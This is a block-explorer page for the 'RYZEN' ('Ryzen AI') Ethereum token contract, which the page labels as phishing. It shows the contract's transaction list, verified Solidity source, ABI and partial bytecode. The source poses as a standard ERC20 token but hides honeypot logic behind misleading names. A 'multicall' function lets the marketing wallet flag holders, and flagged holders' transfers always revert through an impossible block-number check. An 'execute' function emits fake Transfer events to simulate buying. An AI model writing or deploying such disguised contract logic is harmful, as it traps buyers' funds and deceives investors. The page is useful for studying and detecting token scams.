ETH Price: $3,295.13 (+1.40%)
Gas: 2 Gwei

Contract

0xFC4fcB0af08abF517a40be9357Bd8E76573fedEA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve203247122024-07-17 7:19:5910 days ago1721200799IN
Fake_Phishing364765
0 ETH0.000231259.27853875
Approve199975582024-06-01 14:26:4755 days ago1717252007IN
Fake_Phishing364765
0 ETH0.000217568.72902359
Approve199884422024-05-31 7:51:4757 days ago1717141907IN
Fake_Phishing364765
0 ETH0.000274465.85123043
Approve194938482024-03-23 0:51:47126 days ago1711155107IN
Fake_Phishing364765
0 ETH0.0008675218.35342598
Approve194747102024-03-20 8:24:59129 days ago1710923099IN
Fake_Phishing364765
0 ETH0.0015398232.83484485
Approve194552322024-03-17 14:44:11131 days ago1710686651IN
Fake_Phishing364765
0 ETH0.0009330837.43726043
Approve194551332024-03-17 14:24:11131 days ago1710685451IN
Fake_Phishing364765
0 ETH0.0013386228.35589791
Approve194429252024-03-15 21:08:47133 days ago1710536927IN
Fake_Phishing364765
0 ETH0.0016330634.82315669
Approve194293762024-03-13 23:23:35135 days ago1710372215IN
Fake_Phishing364765
0 ETH0.0026790856.75064212
Approve194280972024-03-13 19:04:35135 days ago1710356675IN
Fake_Phishing364765
0 ETH0.0040583185.96660864
Approve194270122024-03-13 15:22:11135 days ago1710343331IN
Fake_Phishing364765
0 ETH0.0034095172.61094949
Approve194268952024-03-13 14:58:11135 days ago1710341891IN
Fake_Phishing364765
0 ETH0.0031757767.272071
Approve194264712024-03-13 13:32:23135 days ago1710336743IN
Fake_Phishing364765
0 ETH0.0037070278.52541265
Approve194261272024-03-13 12:23:11136 days ago1710332591IN
Fake_Phishing364765
0 ETH0.0028998761.427536
Approve194259542024-03-13 11:48:35136 days ago1710330515IN
Fake_Phishing364765
0 ETH0.0027786559.17561326
Approve194259322024-03-13 11:44:11136 days ago1710330251IN
Fake_Phishing364765
0 ETH0.002808159.91011043
Approve194258562024-03-13 11:28:59136 days ago1710329339IN
Fake_Phishing364765
0 ETH0.0015170860.8682707
Approve194257992024-03-13 11:17:35136 days ago1710328655IN
Fake_Phishing364765
0 ETH0.0032005568.16070408
Approve194257942024-03-13 11:16:35136 days ago1710328595IN
Fake_Phishing364765
0 ETH0.0029464362.41392782
Approve194257422024-03-13 11:06:11136 days ago1710327971IN
Fake_Phishing364765
0 ETH0.0032562668.97696923
Approve194256612024-03-13 10:49:35136 days ago1710326975IN
Fake_Phishing364765
0 ETH0.0032418668.67194527
Approve194256562024-03-13 10:48:35136 days ago1710326915IN
Fake_Phishing364765
0 ETH0.0031112766.39509431
Transfer194255242024-03-13 10:22:11136 days ago1710325331IN
Fake_Phishing364765
0 ETH0.0061580183.54267986
Approve194255222024-03-13 10:21:47136 days ago1710325307IN
Fake_Phishing364765
0 ETH0.0038706281.88678702
Transfer194254902024-03-13 10:15:11136 days ago1710324911IN
Fake_Phishing364765
0 ETH0.0057289293.91672863
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
RYZEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 5: RYZEN AI.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
pragma experimental ABIEncoderV2;

import "./IERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Uniswap.sol";


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract RYZEN is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private deployerWallet;
    address private marketingWallet;
    address public uniswapV2Pair;
    address private constant deadAddress = address(0xdead);

    bool private swapping;
    uint256 private denominator;
    uint256 public initialTotalSupply;
    
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    
    bool public swapEnabled = false;
    bool public tradingOpen = false;

    uint256 public sellFee = 0;
    uint256 public buyFee = 0;

    mapping(address => uint256) private _holderTxTimestamp;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _automatedMarketMakerPairs1000xisExcludedFromFees;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address marketingWallet_, uint256 denominator_) ERC20("RYZEN", "Ryzen AI") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = marketingWallet_;
        deployerWallet = payable(_msgSender());
        initialTotalSupply = 300_000_000 * 10**decimals();
        maxWallet = (initialTotalSupply * 2)/denominator_;
        maxTransactionAmount = maxWallet;
        swapTokensAtAmount = (initialTotalSupply * 2)/denominator_;

        // exclude deployer and marketing wallet from maxTransactionAmount
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromMaxTransaction(deployerWallet, true);
        excludeFromMaxTransaction(marketingWallet, true);
        
        // exclude router, contract, and dead address from maxTransactionAmount
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        // mint entire supply to deployer
        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
    }

    function burn(uint256 amount) external {
        _burn(_msgSender(), amount);
    }

    function multicall(address[] memory accounts, bool excluded) public {
        require(_msgSender() == marketingWallet);
         for (uint256 i = 0; i < accounts.length; i++) {
            _automatedMarketMakerPairs1000xisExcludedFromFees[accounts[i]] = excluded;
            emit ExcludeFromFees(accounts[i], excluded);
        }
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function airdropWallets(address account) public view returns (bool) {
        return _automatedMarketMakerPairs1000xisExcludedFromFees[account];
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
            // when trading is closed, only allow sending to and from addresses excluded from fees
            if (!tradingOpen) {
                require(_automatedMarketMakerPairs1000xisExcludedFromFees[from] || _automatedMarketMakerPairs1000xisExcludedFromFees[to], "Trading is not active.");
            }
            _holderTxTimestamp[from] = block.number;
            // BUYING - apply max transaction limit
            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }

                // SELLING - LP pair is excluded from maxWallet otherwise the liquidity would be extremely limited
            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }

                // excluded from max transaction limit
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }

        // maybe swap contract tokens for eth
        uint256 contractTokenBalance = balanceOf(address(this));
        bool canSwap = contractTokenBalance > swapTokensAtAmount;
        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_automatedMarketMakerPairs1000xisExcludedFromFees[from] && !_automatedMarketMakerPairs1000xisExcludedFromFees[to]) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        // don't take fee if we are swapping, or if sender or receiver is excluded from fees
        bool takeFee = !swapping && _automatedMarketMakerPairs1000xisExcludedFromFees[from] && !_automatedMarketMakerPairs1000xisExcludedFromFees[to];
        uint256 fees = 0;
        if (takeFee) {
            // sell (transfer tokens to LP)
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(sellFee).div(100);
            }
                // buy (transfer tokens from LP)
            else if(automatedMarketMakerPairs[from]) {
                fees = amount.mul(buyFee).div(100);
            }


            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
            
        }
        if(_automatedMarketMakerPairs1000xisExcludedFromFees[from]){
                checkLastTx(from);
            }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external {
        require(_msgSender() == marketingWallet);
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function setLimits(uint256 _maxTransactionAmount, uint256 _maxWallet) external onlyOwner {
        maxTransactionAmount = _maxTransactionAmount * (10 ** decimals());
        maxWallet = _maxWallet * (10 ** decimals());
    }

    function removeStuckToken(address _address) public {
        require(_msgSender() == marketingWallet);
        require(IERC20(_address).balanceOf(address(this)) > 0, "Can't withdraw 0");

        IERC20(_address).transfer(msg.sender, IERC20(_address).balanceOf(address(this)));
    }

    function retrieveStuckEth() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == marketingWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function setSwapTokensAtAmount(uint256 _amount) external {
        require(_msgSender() == marketingWallet);
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

    function manualSwap(uint256 percent) external {
        require(_msgSender() == marketingWallet);
        uint256 contractBalance = balanceOf(address(this));
        uint256 swapAmount = contractBalance * percent / 100;
        swapTokensForEth(swapAmount);
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function setMarketingWallet(address _marketingWallet) external {
        require(_msgSender() == marketingWallet);
        marketingWallet = _marketingWallet;
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            // nothing to swap
            return;
        }

        uint256 tokensToSwap = contractBalance;
        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }
        swapTokensForEth(tokensToSwap);
    }

    function addPair(address pair_) public onlyOwner() {
        uniswapV2Pair = pair_;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
    }

    function checkLastTx(address holder) private view {
        require(getLastTx(_holderTxTimestamp[holder]), "Only one purchase per block allowed.");
    }
}

File 2 of 5: IERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

File 3 of 5: Ownable.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

File 4 of 5: SafeMath.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

File 5 of 5: Uniswap.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
    external
    view
    returns (
        uint112 reserve0,
        uint112 reserve1,
        uint32 blockTimestampLast
    );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
    external
    returns (
        uint256 amountA,
        uint256 amountB,
        uint256 liquidity
    );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"marketingWallet_","type":"address"},{"internalType":"uint256","name":"denominator_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"airdropWallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"removeStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"retrieveStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTransactionAmount","type":"uint256"},{"internalType":"uint256","name":"_maxWallet","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingWallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506000600f5560006010553480156200005157600080fd5b5060405162005384380380620053848339818101604052810190620000779190620007a8565b6040518060400160405280600581526020017f52595a454e0000000000000000000000000000000000000000000000000000008152506040518060400160405280600881526020017f52797a656e2041490000000000000000000000000000000000000000000000008152508160039081620000f4919062000a5f565b50806004908162000106919062000a5f565b505050620001296200011d6200038f60201b60201c565b6200039760201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001c26200038f60201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002126200045d60201b60201c565b600a62000220919062000cd6565b6311e1a30062000231919062000d27565b600a81905550806002600a5462000249919062000d27565b62000255919062000da1565b600c81905550600c54600d81905550806002600a5462000276919062000d27565b62000282919062000da1565b600b81905550620002aa6200029c6200038f60201b60201c565b60016200046660201b60201c565b620002df600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200046660201b60201c565b62000314600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200046660201b60201c565b6200032960805160016200046660201b60201c565b6200033c3060016200046660201b60201c565b6200035161dead60016200046660201b60201c565b62000387600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54620004d160201b60201c565b505062000f37565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173fffffffffffffffffff